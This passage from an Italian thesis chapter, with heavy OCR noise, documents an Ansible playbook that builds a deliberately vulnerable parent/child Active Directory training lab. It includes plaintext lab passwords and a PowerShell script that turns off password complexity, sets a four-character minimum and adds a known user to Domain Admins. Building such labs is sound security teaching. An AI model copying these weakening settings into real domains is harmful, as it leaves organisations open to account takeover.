to. Questi parametri identificano le macchine a cui il software si deve collegare, contengono
credenziali per 1’accesso, indicazioni sulle caratteristiche della connessione e le associazio-
ni host-ruolo. Maggiori informazioni su quest’ultime verranno riportate successivamente. Di

seguito, invece, un’immagine che contiene la prima parte del file inventory[38].

lall:

2 hosts:

3 dcol:

4 ansible host: 192.168.56.136

5 ansible user: administrator

6 ansible password: Passwordl!

7 ansible connection: psrp

8 ansible psrp cert validation: ignore
9 ansible psrp port: 5985

10 ansible psrp operation timeout: 400
11 ansible psrp read timeout: 500

12 ansible psrp connection timeout: 60
13

14  dco2:

15 ansible host: 192.168.56.133

16 ansible user: administrator

17 ansible password: Passwordl!

18 ansible connection: psrp

19 ansible psrp cert validation: ignore
20 ansible psrp port: 5985

21 ansible psrp operation timeout: 400
22 ansible psrp read timeout: 500

23 ansible psrp connection timeout: 60
24

Figura 21: File di configurazione - inventory #1.
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Si consideri che nello scenario proposto vengono utilizzate due macchine Windows che di-

venteranno i due |Domain Controllen, padre e figlio; i loro nomi host all’interno del playbook

saranno, rispettivamente, dcOl e dc02. Per ogni host che verra utilizzato nel laboratorio ven-
gono quindi specificati nove parametri, come si puo osservare nella figura precedente. I primi
tre indicano rispettivamente 1’ indirizzo ip dell’ host e username e password del suo account di
amministrazione. 1 secondi tre specificano la tipologia di connessione da remoto; in questo caso
¢ stata scelta il [PowerShell Remoting Protocol| (PSRP)) che & disponibile di default sui sistemi

Windows Server, senza che sia necessario installare software nelle macchine target; le alterna-

tive, WinrmHTTP e[Remote Desktop Protocol (RDP), necessitano invece di configurazione lato

client. In questo modo il playbook di questo progetto puod essere utilizzato su macchine in cui
I’unica operazione eseguita ¢ stata 1’installazione del sistema operativo; I’automatizzazione in

questo modo ¢ migliorata in quanto 1’utente non deve eseguire operazioni preliminari all’in-

terno dei futuri [Domain Controllert Gli altri parametri sono poi la porta usata dal protocollo,

5985, e ansible_psrp_cert_validation=ignore che permette di evitare di utilizzare un certificato
senza questa scelta il fruitore del progetto sarebbe costretto a configurare preventiva-
mente le macchine farget con i certificati opportuni e questo comporterebbe un aumento delle
operazioni manuali a discapito di quelle automatizzate. Gli ultimi tre parametri, infine, stabili-
scono I’ operation_timeout, 1l read_timeout ¢ il connection_timeout in secondi. Questi parametri
regolano 1 vari timeout della connessione: sono piu alti rispetto a quelli di default in modo che

una installazione con molto delay, come una effettuata in Cloud, sia comunque realizzabile[39].

26

27DCs:

28 hosts:
29 dcol:
30 dc2:
31

32DCs parent:
33 hosts:
34 dcOl:
35

36DCs child:
37 hosts:
38 dcoz2:
39

Figura 22: File di configurazione - inventory #2.

Nella seconda parte del file inventory sono descritti, con una notazione particolare, i gruppi
definiti nel playbook. 1 gruppi sono utili per permettere ad Ansible di eseguire operazioni uguali
e in parallelo su macchine diverse. In questo caso specifico si puo vedere che al gruppo DCs ap-

partengono entrambi gli host, al gruppo DCs_parent appartiene 1’ host dcOl mentre a DCs_child

appartiene invece I’ host dc02. 1l primo ¢& il gruppo dei|[Domain Controller il secondo il gruppo

dei|lDomain Controllen padre e il terzo quello dei|Domain Controllerifiglio.
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Questa configurazione ¢ pensata per rendere scalabile il progetto: se si volesse ampliare
il laboratorio aggiungendo un ulteriore dominio padre in un’altra foresta, ad esempio, si pro-

cederebbe a inserire prima i parametri per la connessione dell’ipotetico host dc03 e poi lo si

dovrebbe inserire dentro il gruppo DCs in quanto |Domain Controller, e dentro DCs_parent in

quanto padre di una foresta; questa divisione in gruppi permette ad Ansible di determinare i

moduli che dovranno essere caricati per questo host[38]].

Una volta correttamente configurato il file inventory, con gli indirizzi e le credenziali delle
macchine che verranno utilizzate per il laboratorio, ¢ necessario modificare anche il secon-
do file di configurazione: playbook/vars/vars.yml. Questo file contiene i parametri che sono

strettamente legati allo scenario creato.

2dc0Ol:

3 hostname: DCO1

4

5 forest_domain: hacklab.local

6 domain_netbios_name: HACKLAB

7 database_path: C:\Windows\NTDS
8 log_path: C:\Windows\NTDS

9 sysvol_path: C:\Windows\SYSVOL
10 safe_mode_password: Password2!
11

12

13 dc02:

14 hostname: DCO2

15

16 parent_host: dcOl

17 parent_private_address: 192.168.56.136
18

19 subdomain: corp
20 subdomain_netbios_name: CORP

21 database_path: C:\Windows\NTDS
22  log_path: C:\Windows\NTDS

23  sysvol_path: C:\Windows\SYSVOL
24 safe_mode_password: Password2!
25

26 firstname: Devis

27 lastname: Cook

28 password: cokezerol

Figura 23: File di configurazione - vars.yml.

Per I’ host dcO1 ¢ stato specificato:

* hostname : I’hostname del [Domain Controllen
* forest_domain : il nome del dominio root della foresta.

* domain_netbios_name : il nome netbios.

* database_path : il path del database del|Domain Controllen

* log_path : il path del file di log del|Domain Controller

* sysvol_path : il path della directory SYSVOLS$ nel |Domain Controllen.

* safe_mode_password : la password di recupero per 1’account Administrator.
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Per 1’host dc02 sono stati specificati alcuni parametri diversi dall’ host precedente. Questa
differenza ¢ dovuta all’appartenenza di dcOI e dc02 a gruppi diversi e a ruoli differenti all’in-
terno dello scenario proposto. Vengono spiegati di seguito i parametri che non sono gia stati

riportati in precedenza:

* parent_host : il nome dell’host che fa da|Domain Controllerinel dominio padre di questo

dominio.

* parent_private_address : 'indirizzo dell’host che fa da|Domain Controlleri nel dominio

padre di questo dominio.

subdomain : il nome del subdomain figlio.

subdomain_netbios_name : il nome netbios del subdomain figlio.

* firstname : il nome dell’utente noto che possiede i privilegi di Domain Admins nel domi-

nio figlio.

* lastname : il cognome dell’utente noto che possiede i privilegi di Domain Admins nel

dominio figlio.

* password : la password dell’utente noto che possiede i privilegi di Domain Admins nel

dominio figlio.

Utilizzando questo file di configurazione si possono inserire, quindi, dei valori diversi da
quelli di default, specificati nel paragrafo che tratta lo scenario. Ad esempio si potrebbero
chiamare i [D(| Father e Son, cambiare il nome della foresta in zesting.org e specificare come
password dell’utente PasswordSuperSicura! semplicemente cambiando 1 parametri opportuni.
Ansible 1i utilizzera autonomamente grazie alla flessibilita fornita dai moduli.

Nel sottoparagrafo successivo viene presentata la piccola differenza nelle configurazioni

che si ha per I'installazione del laboratorio in locale e in Cloud.

4.1.1 Installazione locale VS Cloud

Il laboratorio che puo essere installato utilizzando il playbook ¢ pensato per essere flessibile
e di facile utilizzo. Di conseguenza ¢ possibile installarlo sia in una rete locale, che puo essere
composta da macchine virtuali o da veri e propri Desktop connessi alla stessa rete, sia in una

rete su Cloud. Questa scelta comporta una differenza nella configurazione dei parametri.

L’indirizzo dell’ host dc02 ¢ presente solo nel file inventory e non assume valori diversi in
base alla tipologia di installazione utilizzata. L’ indirizzo dell’ host dcO1, invece, ¢ presente sia in
inventory sia in playbook/vars/vars.yml; infatti, questi due indirizzi per lo stesso host assumono

significati diversi.
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In inventory viene specificato 1’indirizzo che Ansible deve utilizzare per connettersi alla
macchina da remoto. In playbook/vars/vars.yml, invece, & presente 1’indirizzo che il
figlio deve utilizzare per riferirsi al proprio padre. Durante il join del dominio figlio
a quello padre ¢ necessario 1’indirizzo di quest’ultimo per stabilire il legame di parentela e per
ottenere una eventuale copia delle risorse Nonostante i due indirizzi possano sembrare
identici, nel caso di una installazione in Cloud in realta assumono valori diversi. Questo perché

utilizzando la rete internet ¢ necessario differenziare 1’indirizzo pubblico da quello locale.

Di seguito, con 1’ausilio di una serie di immagini, viene spiegato come modificare i file di
configurazione per entrambi 1 casi d’installazione. Come primo caso viene proposta 1’installa-
zione in locale, che puo essere effettuata in una rete interna generata da un router o in quella di

un ambiente virtualizzato.

Private Network
192.168.56.x

192.168.56.136

192.168.56.150

192.168.56.133

Figura 24: Installazione in rete locale.

3 dcol: 14  dcO2:
4 ansible host: 192.168.56.136 15 ansible host: 192.168.56.133
5 ansible user: administrator 16 ansible user: administrator
Figura 25: File inventory - dcOI (locale). Figura 26: File inventory - dc02 (locale).
13dco2:
14 hostname: DCO2
15
16 parent_host: dcOl

17 parent_private address: 192.168.56.136

Figura 27: File vars.yml - dc02 (locale).
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Dalla prima immagine si puo vedere che il PC con indirizzo 192.168.56.150, che utilizza An-
sible, si trova nella stessa rete delle due macchine da configurare. I'loro indirizzi 192.168.56.136
e 192.168.56.133, rispettivamente per padre e figlio, sono riportati nel file inventory. Nel file
vars.yml ¢ specificato, come padre di dc02, la macchina con I’indirizzo 192.168.56.136.

Il secondo caso, leggermente piu complicato, propone I’installazione in Cloud. In questo
caso le macchine, sia quella che usa Ansible sia le due che devono essere configurate, comu-

nicano attraverso la rete internet. Utilizzano quindi i loro indirizzi pubblici di rete. Perché i

due [Domain Controller|possano far parte della stessa rete |Active Directory, pero, devono poter

comunicare usando una rete locale. In figura si possono vedere i futuri |Domain Controller,

rispettivamente padre e figlio, che hanno come indirizzo pubblico 15.223.74.108 e 3.96.202.13.
Invece, nella rete locale a cui appartengono hanno gli indirizzi 172.26.3.146 e 172.26.12.46.

Private Network
172.26.x.X
Public address
15.223.74.108
--r
VVVVVVVVVVVVV N CLOUD 172.26.3.146
Public address
XXX N
Public address *
3.96.202.13
172.26.12.46
Figura 28: Installazione in rete in Cloud.
3 dcol: 14 dcO2:
4 ansible host: 15.223.74.108 15 ansible host: 3.96.202.13
5 ansible user: administrator 16 ansible user: administrator
Figura 29: File inventory - dcO1 (cloud). Figura 30: File inventory - dc02 (cloud).
13dc02:
14 hostname: DCO2
15

16 parent_host: dcol
17 parent_private address: 172.26.3.146
18

Figura 31: File vars.yml - dc02 (cloud).
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L’indirizzo pubblico dei due host deve essere specificato nel file inventory in modo che
Ansible possa effettivamente collegarsi da remoto. L’indirizzo locale di dcOl, invece, deve
essere specificato come padre di dc02 nel file vars.yml. In questo modo dc02 potra registrarsi

presso dcOl come dominio figlio.

4.2 Moduli

In questo paragrafo vengono presentati i moduli utilizzati e le operazioni che svolgono. 1
moduli vengono caricati e risolti con una ricorsione annidata: un modulo spesso si mette in
pausa, richiama un altro modulo, aspetta che abbia completato le sue operazioni, esce dalla
pausa e inizia la propria esecuzione. Questo processo pud anche essere ripetuto piu volte. Per
questo motivo i moduli verranno presentati in ordine di esecuzione, in modo che la struttura
risulti in realta semplice e lineare.

Il primo file che viene caricato ¢ main.yml, specificato durante 1’esecuzione tramite linea di

comando del software Ansible.

3# Manage default configurations for all the VMs
4 - import_playbook: playbook/common-setup.yml
5

6# Set up AD environment in target VMs

7 - import_playbook: playbook/ad-setup.yml

8

9# Build Forests and Join Domains

10 - import_playbook: playbook/ad-build.yml

11

12 # Import Vulnerabilities: user.yml

13 - import_playbook: playbook/user.yml

14
15# Reboot all the VMs
16 - import_playbook: playbook/shutdown.yml

Figura 32: main.yml.

Questo file permette di caricare in ordine, cinque differenti moduli:
1. playbook/common-setup.yml : si occupa di installare le configurazioni di default nelle

macchine target.

2. playbook/ad-setup.yml : si occupa di installare 1I’ambiente|Active Directory nelle macchi-

ne farget.

3. playbook/ad-build.yml : si occupa della costruzione dell’ambiente |Active Directory nelle

macchine target.
4. playbook/user.yml : permette la configurazione degli utenti nelle macchine target.

5. playbook/shutdown.yml : riavvia le macchine target.
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Quelle elencate sono le varie parti in cui ¢ stata suddivisa la costruzione dello scenario presen-
tato nei capitoli precedenti. Ciascuna di esse, come anticipato, verra analizzata individualmente

e seguendo in ordine cronologico tutti i moduli che utilizza internamente.

E’ necessario introdurre, per comprendere al meglio i paragrafi successivi, il concetto di
ruolo che ¢ utilizzato da Ansible. Innanzitutto il ruolo deve essere definito all’interno della
directory roles usando lo specifico path che segue: roles/<nome-del-ruolo>/tasks/main.yml.
All’interno del file main.yml vengono specificate le operazioni che devono essere eseguite cor-
rettamente su un host perche possa appartenere al ruolo specificato. Ogni ruolo puo essere
assegnato a piu macchine e a ogni macchina puo essere assegnato piu di un ruolo. Questo co-
strutto che Ansible mette a disposizione permette di raggruppare operazioni che vengono svolte
parallelamente allo stesso modo in piu sost. Come esempio, si pensi di creare il ruolo server,
con tutte le operazioni necessarie a rendere una macchina un server, e il ruolo database, con
tutte le operazioni che permettono la creazione di un database funzionante all’interno della
macchina. Facilmente, si potrebbero assegnare al ruolo server tutte le macchine che devono
diventare server, al ruolo database tutte le macchine che dovranno contenere un database € ma-
gari assegnare ad un host entrambi i ruoli se deve essere configurato come un server con un
database interno[29][131]]38]].

4.2.1 playbook/common-setup.yml

Il primo modulo che viene caricato da main.yml ¢ playbook/common-setup.yml. Questo
modulo esegue le operazioni che sono comuni a tutte le macchine che sono presenti all’interno

del laboratorio. Di seguito la sua composizione:

- name:
hosts:
roles:

- role:
vars_files:

~NouUhkWwN

Figura 33: playbook/common-setup.yml.

Come anticipato, con hosts: all viene specificato che tutti gli host presenti nel file inventory
saranno configurati da questo modulo. L’ operazione eseguita ¢ 1’assegnazione al ruolo common.
Sinoti che i valori delle variabili necessarie alla configurazione del ruolo assegnato sono caricati

dal file di configurazione vars/vars.yml[38]].
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Di seguito le operazioni eseguite per questo ruolo:

1- name: Change hostnames
win_hostname:

name: "{{ vars[inventory hostname].hostname }}
register: res

- name: Reboot
win_rehoot:
when: res.reboot required

OO B~ WN

Figura 34: playbook/roles/common/tasks/main.yml.

Viene utilizzato il modulo win_hostname[40] per cambiare 1’ hostname alle macchine target
e il modulo win_reboot[41]] per riavviare le macchine se necessario. Nel caso fossero previste
ulteriori operazioni da eseguire su tutte le macchine del laboratorio, basterebbe semplicemente

specificarle in questo file perché Ansible proceda a eseguirle parallelamente su tutti gli host.

4.2.2 playbook/ad-setup.yml

Il secondo modulo che viene caricato da main.yml ¢ playbook/ad-setup.yml. Questo modulo
esegue le operazioni comuni a tutti 1 [Domain Controllery Infatti assegna il ruolo di
a tutti gli hosts che sono parte del gruppo DCs nel file inventory. In questo caso
specifico, quindi, le operazioni vengono eseguite sia su dc01 sia su dc0?2.

2 - name: Set up AD environment in DCs

3 hosts: DCs

4 roles:

5 - role: roles/domain controller
6 vars_files:

7 - vars/vars.yml

Figura 35: playbook/ad-setup.yml.

Di seguito le operazioni eseguite per questo ruolo:

name: Install AD-Domain-Services

win_feature: >
name=AD-Domain-Services
include management tools=yes
include_sub features=yes
state=present

register: res

OCoOO~NOU B WN

10 - name: Reboot
11 win_reboot:
12 when: res.reboot required

Figura 36: playbook/roles/domain_controller/tasks/main.yml.
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Viene utilizzato il modulo win_feature[42] per installare il pacchetto software specificato.

Si tratta di AD-Domain-Services, una suite di fool che permette la costruzione e distribuzione

dell’ambiente |Active Directoryl 1l secondo modulo utilizzato ¢ il win_reboot[41] che permette

il riavvio delle macchine se necessario.

4.2.3 playbook/ad-build.yml

Il terzo modulo che viene caricato da main.yml ¢ playbook/ad-build.yml. Questo modu-
lo promuove le macchine, che sono state configurate appositamente, a veri e propri

2 - name:

3 hosts:

4 roles:

5 - role:
6 vars_files:
7 -

8

9 - name:

10 hosts:
11 roles:
12 - role:

13 vars_files:

Figura 37: playbook/ad-build.yml.

Questo modulo assegna due tipologie diverse di ruoli: il [Domain Controller padre ¢ il

Imain Controller{figlio. Si puo vedere nella figura precedente che il ruolo di domain_controller_parent

¢ stato assegnato agli host che fanno parte del gruppo DCs_parent; 1l ruolo di domain_controller_child,
invece, ¢ stato assegnato ai membri del gruppo DCs_child. Nel caso presentato il primo gruppo
¢ composto unicamente da dc01, il secondo solo da dc02. Essendo il progetto scalabile, anche

in questo caso si possono aggiungere ulteriori host a questi gruppi e costruire facilmente un

laboratorio con foreste multiple, ulteriori domini o |[Domain Controller supplementari.

65



Il ruolo che viene esaminato per primo ¢ domain_controller_parent:

- name:
win_dns_client:
adapter_names:

ipv4_addresses:

- hame:
win_domain:

15 register:
17 - name:
18 win_reboot:

19 pre_reboot_delay:
20 when:

Figura 38: playbook/roles/domain_controller_parent/tasks/main.yml.

Le operazioni eseguite permettono la creazione del dominio a partire dal proprio
La prima operazione eseguita, usando il modulo win_dns_client[43]], & il setup del
in localhost. Questo avviene perché i domini singoli e quelli che diventeranno root di una
foresta non si interfacciano con esterni. La seconda operazione utilizza win_domain[44]
che permette la creazione e configurazione automatizzata di un dominio, a partire dai parametri
che sono specificati in vars/vars.yml. La terza e ultima operazione eseguita ¢ un riavvio della
macchine con un delay di trenta secondi, in modo che il dominio sia gia creato correttamente.

Questa operazione ¢ eseguita dal modulo win_reboot[41].

Il secondo ruolo che viene assegnato ¢ invece domain_controller_child.

1- name:

2 win_dns_client:

3 adapter_names:
4 ipv4_addresses:
5

Figura 39: playbook/roles/domain_controller_child/tasks/main.yml - #1.

La prima operazione, esposta nell’immagine precedente, ¢ il setup del in dc02, con

I’indirizzo del|[Domain Controllerjdel dominio padre. Questo viene fatto utilizzando il modulo

win_dns_client[43]].

La seconda operazione, presentata nelle due immagini di seguito, ¢ il join del dominio figlio
a quello padre. Non esiste un modulo Ansible che permetta di eseguire questa operazione
direttamente, per cui la soluzione presentata & composta da uno script in PowerShell che viene
eseguito da Ansible nel terminale della macchina farget usando il modulo win_powershell[45].
1l tool Install-ADDSDomain[46] permette il join di un dominio figlio a quello padre senza dover

utilizzare 1’interfaccia grafica e da remoto.
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7 - name: Join Child to Forest
8 ansible.windows.win_powershell:

9 script: |

10 [CmdletBinding ()]

11 param (

12 [String]

13 $Password,

14 [String]

15 $DomainAdmin,

16 [String]

17 $SafeModeAdministratorPassword,
18 [String]

19 $NewDomainName,

20 [String]

21 $NewDomainNetbiosName,
22 [String]

23 $ParentDomainName,
24 [String]

25 $DatabasePath,

26 [String]

27 $SysvolPath,

28 [String]

29 $LogPath,

30 [String]

31 $ReplicationSourceDC
32 )

Figura 40: playbook/roles/domain_controller_child/tasks/main.yml - #2.

33 $Ansible.Changed=$true

34 $pass = ConvertTo-SecureString $Password -AsPlainText -Force

35 $cred = New-Object System.Management.Automation.PSCredential ($DomainAdmin, $pass)

36 $safePassword = ConvertTo-SecureString $SafeModeAdministratorPassword -AsPlainText -Force

37 Install-ADDSDomain -Credential $cred -SkipPreChecks -NewDomainName $NewDomainName -NewDomainNetbiosName

$NewDomainNetbiosName -ParentDomainName $ParentDomainName -DatabasePath $DatabasePath -SYSVOLPath $SysvolPath
-LogPath $LogPath -SafeModeAdministratorPassword $safePassword -Force -ReplicationSourceDC
$ReplicationSourceDC

38 parameters:

39 Password: "{{hostvars[vars[inventory hostname].parent_host].ansible password}}"

40 DomainAdmin: "{{hostvars[vars[inventory hostname].parent host].ansible user}}-
@{{vars[vars[inventory hostname].parent host].forest domain}}"

41 SafeModeAdministratorPassword: "{{vars[inventory hostnamel.safe mode password}}"

42 NewDomainName: "{{vars[inventory hostname].subdomain}}"

43 NewDomainNetbiosName: "{{vars[inventory hostnamel.subdomain netbios name}}"

44 ParentDomainName: "{{vars[vars[inventory hostname].parent host].forest domain}}"

45 DatabasePath: "{{vars[inventory hostname].database path}}"

46 SysvolPath: "{{vars[inventory_hostname].sysvol path}}"

47 LogPath: "{{vars[inventory hostname].log path}}"

48 ReplicationSourceDC: "{{vars[vars[inventory hostname].parent host].hostname}}.-

{{vars[vars[inventory hostname].parent host].forest domain }}"
49 register:
50 res

Figura 41: playbook/roles/domain_controller_child/tasks/main.yml - #3.

I parametri utilizzati sono:

* -Credential : specifica le credenziali dell’utente Amministratore del dominio padre.

» -SkipPreChecks : specifica di voler evitare i controlli sui prerequisiti.

* -NewDomainName : specifica il subdomain che deve adottare il dominio figlio.

* -NewDomainNetbiosName : specifica il nome netbios che deve adottare il dominio figlio.

» -ParentDomainName : specifica il nome di dominio del dominio padre.
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» -DatabasePath : specifica il path del database del|Domain Controllen.

* -SYSVOLPath : specifica il path della directory SYSVOL$ nel|Domain Controllen

» -LogPath : specifica il path del file di log del|[Domain Controllen

» -SafeModeAdministratorPassword : specifica la password di recupero per I’account Ad-

ministrators.

¢ _Force : forza I’esecuzione del comando in modalita non interattiva.

* -ReplicationSourceDC : specifica il [Fully Qualified Domain Name| (FODN) del [Domain
che dovra essere utilizzato come [DNS|

Alcune versioni di Windows Server sono affette da un particolare bug per cui 1’account di
amministrazione cambia temporaneamente durante il join a una foresta gia esistente. Questo
problema si risolve normalmente eseguendo un riavvio della macchina. Nel caso in questione,
perO, Ansible si trova nella condizione di non poter eseguire il riavvio da remoto in quanto le
credenziali del file inventory sono temporaneamente non valide. Il problema attualmente non
puo essere risolto, ma puo essere aggirato eseguendo il riavvio della macchina tramite lo script
presentato sopra. Ansible deve poi disconnettersi immediatamente dalla macchina, mettersi in

pausa e ritentare la connessione.

53 - name:

54 pause:

55 minutes:
56

57

58 - name:

59 ignore_unreachable:
60 ansible.windows.win_powershell:
61 script:

62 error_action:
63 register:

64 until:

65 retries:

66 delay:

Figura 42: playbook/roles/domain_controller_child/tasks/main.yml - #4.

E’ utilizzato il modulo pause[47]] per ritardare 1’operazione di riconnessione seguente. La
connessione viene testata tramite un controllo da linea di comando usando il tool
Get-ADDefaultDomainPasswordPolicy e il modulo win_powershell[45]]. La risposta a questo
comando viene ricevuta senza errore solo quando il dominio ha terminato il join alla foresta
e quindi I’account di amministrazione € ripristinato correttamente. Questo test di connessione

puo essere eseguito fino a venti volte, con un delay di trenta secondi tra ciascuna di esse.
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Nel caso si superi questo limite ¢ molto probabile la presenza di un errore che abbia impedito
di portare a termine la procedura correttamente. Di conseguenza € necessaria una investigazione

manuale sull’origine dell’errore.

4.2.4 playbook/user.yml

Il quarto modulo che viene caricato da main.yml ¢ playbook/useryml. E’ utilizzato per

configurare correttamente I’utente noto nell’ host dc02.

La prima operazione effettuata ¢ 1I’upload, nella macchina target, dello script known-user.psl

presente in playbook/scripts; viene utilizzato win_copy[48]] per I’upload.

2 - name: Set up known user

3 hosts: dcO2

4 vars_files:

5 - vars/vars.yml

6 gather_facts: no

7 tasks:

8

9 - name: Copy script

10 win_copy:

11 src: scripts/known-user.psl
12 dest: C:\Users\Administrator\Desktop\known-user.psl

Figura 43: playbook/user.yml - #1.

Di seguito il codice presente all’interno dello script:

1lparam (

2 [Parameter(Mandatory=$true)]
3 [System.String]
4 $DomainName,

5) [System.String]
6 $FirstName,

7 [System.String]
8 $LastName,

9 [System.String]
10 $Password

11)

12

13# Setup Password policy

14 Set-ADDefaultDomainPasswordPolicy -Identity $DomainName -LockoutDuration 00:01:00 -LockoutObservationWindow 00:01:00 -
ComplexityEnabled $false -ReversibleEncryptionEnabled $False -MinPasswordlLength 4

15

16# User creation

17 $fullname = "{0} {1}" -f ($FirstName , $LastName);

18 $SamAccountName = ("{0}.{1}" -f ($FirstName, $LastName)).ToLower();

19 $principalname = "{0}.{1}" -f ($FirstName, $LastName);

20Try { New-ADUser -Name "SFirstName SLastName" -GivenName $FirstName -Surname $LastName -SamAccountName $SamAccountName -
UserPrincipalName $principalname@$DomainName -AccountPassword (ConvertTo-SecureString $Password -AsPlainText -Force) -PassThru |
Enable-ADAccount } Catch {}

21

22# Add the new User to special groups: Domain Admins + Remote Management Users

23 Add-ADGroupMember -Identity "Domain Admins" -Members $SamAccountName

Figura 44: playbook/scripts/known-user.psl.
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Lo script esegue tre operazioni:

1. definizione della policy delle password all’interno del dominio; le regole utilizzate per-

mettono 1’uso di password corte e con una complessita bassa.

2. creazione dell’utente noto all’interno del dominio; viene definito sia il principal name sia

il SamAccountName: sono le due tipologie di account che vengono usate nell’ambiente

lActive Directory|

3. assegnazione dell’utente a gruppi specifici; in particolare 1’utente noto viene assegna-
to al gruppo Domain Admins, che comporta anche 1’assegnamento al gruppo Remote

Management Users per la connessione remota.

Lo script caricato viene poi eseguito, usando win_powershell[45], coi parametri presentati

nell’immagine successiva.

14 - name:

15 ansible.windows.win_powershell:
16 script: |

17

18

19

20

21

22

23

24

25

26

27

28

29 parameters:

30 ChildDomain:
31 FirstName:
32 LastName:

33 Password:

Figura 45: playbook/user.yml - #2.

Una volta configurato ’utente, il modulo per la gestione dei file, win_file[49], viene usato

per rimuovere lo script dalla macchina rarget.

35 - nhame:

36 win_file:
37 path:
38 state:

Figura 46: playbook/user.yml - #3.

A questo punto dell’esecuzione del playbook tutte le configurazioni proposte nello scenario

presentato sono state attuate.
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4.2.5 playbook/shutdown.yml

Il guinto e ultimo modulo caricato da main.yml ¢ playbook/shutdown.yml. Per avere I’as-

sicurazione che tutte le modifiche effettuate all’ambiente |[Active Directory| siano state imple-

mentate con successo € siano disponibili all’uso, si procede al riavvio di tutte le macchine del

laboratorio.

- hame:
hosts:
vars_files:

tasks:

- name:
win_shell:

oo~V WN

Figura 47: playbook/shutdown.yml.

Il modulo utilizzato per questa operazione ¢ win_shell[50] che permette di eseguire comandi
da Il comando impartito ¢ un riavvio con un delay di dieci secondi, in modo da permettere

ad Ansible la disconnessione in sicurezza.

4.3 Esecuzione del playbook

In questo paragrafo viene presentato un esempio di esecuzione del playbook per la costru-
zione del laboratorio in una rete locale con macchine virtuali.

Di seguito sono riportate tutte le operazioni che sono state eseguite preventivamente.

1. viene utilizzato il software VirtualBox per creare I’ambiente virtualizzato per il Vulnera-

bility Lab proposto.

2. viene creata una rete virtuale VirtualBox Host-Only Ethernet Adapter[31] con range di
indirizzi 192.168.56.x.

3. vengono create tre[VM}s, una Linux e due Windows.

4. nella macchina Linux viene montata una versione di Ubuntu come sistema operativo; poi
viene installato il software Ansible. A questa macchina viene assegnato 1’indirizzo locale
192.168.56.150.

5. nelle due macchine Windows viene solamente installato come sistema operativo Windows
Server 2019. A ciascuna & assegnato un disco da 32GB|e una RAM di 1024MB| In entram-
be ¢ configurato un account di amministrazione con username administrator ¢ password
Passwordl!. Vengono assegnati loro gli indirizzi 192.168.56.133 e 192.168.56.136.

Di seguito un’immagine che presenta le configurazioni delle VMs Windows Server appena

presentate.
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B Generale

& Generale Nome: Windows Server 2019 - DC02

Nome: Windows Server 2019 - DCOL Sistema operativo Windows 2018 (64-bit)

Sistema operativo: | Windows 2019 (64-hit) Gruppi: Active Directory

Gruppi: Active Directory @ Sistema

Ej Sistema Memoria di base: 2048 MB

Memoria di base: 2048 MB Ordine di awio: appy, Ottico, Disco fisso

Grdine di awio: _ Floppy, Otico, Disco fisso Accelerazione: VT-x/AMD-V, F nidificata, Paravirt. Hyper-V

Accelerazione:  VT-x/AMD-V, Paginazione nidificata, Paravirtualizzazione Hyper-V

M schermo

o B schermo

Memoria video: 27 MB

Scheda grafica: VBoxSVGA Memaoria video: 27 MB

Server di desktop remoto: Disabilitato Scheda grafica: VBoXSVGA

Registrazione: Disabilitata Server di desktop remoto: Disabilitato
Registrazione: Disabilitata

E Archiviazione
E Archiviazione
Controller: SATA

Porta SATA 0: Iwmdnws Server 2019 - DCOL.vdi (Normale, 32,00 GB) I Controller: SATA
Porta SATA 0: IWindnws Server 2019 - DCO2.vdi (Normale, 32,00 GB) I

{0 Audio

{n Audio
Driver host: Windows DirectSound
Controller:  Intel HD Audio Driver host: Windows DirectSound
™ Controller:  Intel HD Audio
= Rete

' Rete
Scheda 1: Intel PRO/1000 MT Desktop (Scheda solo host, 'VirtualBox Host-Only Ethernet Adapter’) =

Scheda 1: Intel PRO/1000 MT Desktop (Scheda solo host, 'VirtualBox Host-Only Ethernet Adapter')

Figura 48: VM1 - DCOI. Figura 49: VM2 - DCO2.

Di seguito uno schema della rete, nella soluzione proposta:

Private Network
192.168.56.x

192.168.56.136

192.168.56.150 T

192.168.56.133

Figura 50: Installazione in rete locale.
Si decide di rendere la macchina Windows con indirizzo 192.168.56.136 il dcOl1 e quella

con indirizzo 192.168.56.133 il dc02. Di seguito i file di configurazione utilizzati per questa

installazione.
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2dcol:

lall: 3  hostname: DCOL

e 4
g ho;z;i_ 5 forest_domain: hackl
4 ansible host: 192.168.56.136 26 3 :“ﬁa;"—"E‘bt:?—?am?
5 ansible_user: administrator s 1a a E:ETP? SR e
6 ansible_password: Passwordl! 27DCs: 9 OQ—P.T th ,f”‘j’ e
7 ansible_connection: psrp 28 hosts: 10 sy:vo _za : :" .
8 ansible psrp_cert_validation: ignore 05Ts: 1 sate_mode_password: Pas
13 ansig{eipsrpiport: 5985 400 29 dcO1: 12

ansible psrp_operation_timeout: . .
11 ansible psrp_read_timeout: 500 30 dcO2: ﬁ dcgtzaétname' DCO2
g ansible_psrp_connection_timeout: 60 31 15 T
14 dcoz: 32DCs parent: %g Pﬂeﬁ_mﬁtt L S
; . - parent_private_address: 192.168.56
18 anaible user: adminisiraior B8 fosts: 18
17 ansible password: Passwordl! 34 dcOl: ;g ::E:z::i::négglos name: C
18 ansiE{eiconnection: ?s;p 35 21 Gavabace math: Coun: i C
19 ansible psrp_cert validation: ignore . T C:\Windows
20 ansible psrp_port: 5985 36 DCS_Chlld: g ;;g;ﬁtg;m- ;‘h‘w’y ows
21 ansible psrp operation timeout: 400 37 hosts: 24 safe_mode_password: P: o1
22 ansible psrp_read_timeout: 500 25 - -
23 ansible psrp_connection_timeout: 60 38 dc02: 26 firstname: Devis
2 39 27 lastname:.x’ \; )
28 password: cokezerol

Figura 51: File invento
8 & Figura 52: playbook/vars/vars.yml.

Una volta configurata la rete, preparate le macchine che comporranno il laboratorio e ef-
fettuato le opportune modifiche ai file di configurazione si puo eseguire il playbook tramite

Ansible. Vengono presentati step-by-step tutti gli output restituiti.

ansible@debian:~/Desktop/lab-tesi$ ansible-playbook -i inventory main.yml

PLAY [VM COMMON SEtUPS] **¥Hskikskkakhokokok ko kokok hok ok Aok kKA KKK KK KKK KK KKK KK KA KK

TASK [Gathering Facts] *k#ssksksskskkbkkkskhiihimthtdddthhdfkokokkkk koo ok

ok: [dcO1]
ok: [dc02]

TASK [roles/common : Change hostnames] *kkkkskskktskskhr bt kskskkh btk kokh kb LAk b kAR
changed: [dc01]
changed: [dc02]

TASK [roles/common : ReDOOb] #¥# ks ko ks sk ok ok hok H o HOR AR AR AR RO AA A A H KA AR

changed: [dc01]
changed: [dc02]

Figura 53: Output installazione #1.

Il software ¢ eseguito da linea di comando utilizzando ansible-playbook; vengono poi spe-
